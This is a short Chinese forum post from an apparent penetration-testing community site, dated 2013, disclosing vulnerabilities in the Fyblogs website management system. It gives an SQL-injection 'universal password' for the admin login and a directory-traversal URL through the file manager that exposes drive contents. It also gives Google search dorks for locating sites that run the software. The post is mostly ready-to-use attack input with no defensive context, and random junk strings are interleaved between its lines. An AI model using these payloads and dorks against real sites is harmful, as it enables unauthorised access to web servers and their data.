中国网络渗透测试联盟
标题:
Fyblogs网站管理系统漏洞
[打印本页]
作者:
admin
时间:
2013-3-14 20:17
标题:
Fyblogs网站管理系统漏洞
后台万能密码 'or'='or'
7 p4 ?& o3 R6 m# T" v
+ a; i( {% D) s1 r) S A% u
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
+ R# h7 |' z+ U5 p" Z- Y8 T
admin/uploadfile.asp?currentFolder=/upfiles/../
; Z1 l" j5 J2 k4 w6 |
0 `2 p9 D: y2 `$ V
漏洞证明：
6 }: X+ N" Y3 ~8 Q: l4 o
# C$ @/ z6 X; x T! n* f
谷歌：inurl:type.asp?id=1 新闻中心
. r+ p; T& I# t k& S( q
或者 ：inurl:download_ok.asp?
0 h+ a' l/ ?+ b7 c! h k- m! w! U
3 E5 h3 t- h' I( d1 C9 `( v0 ~
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2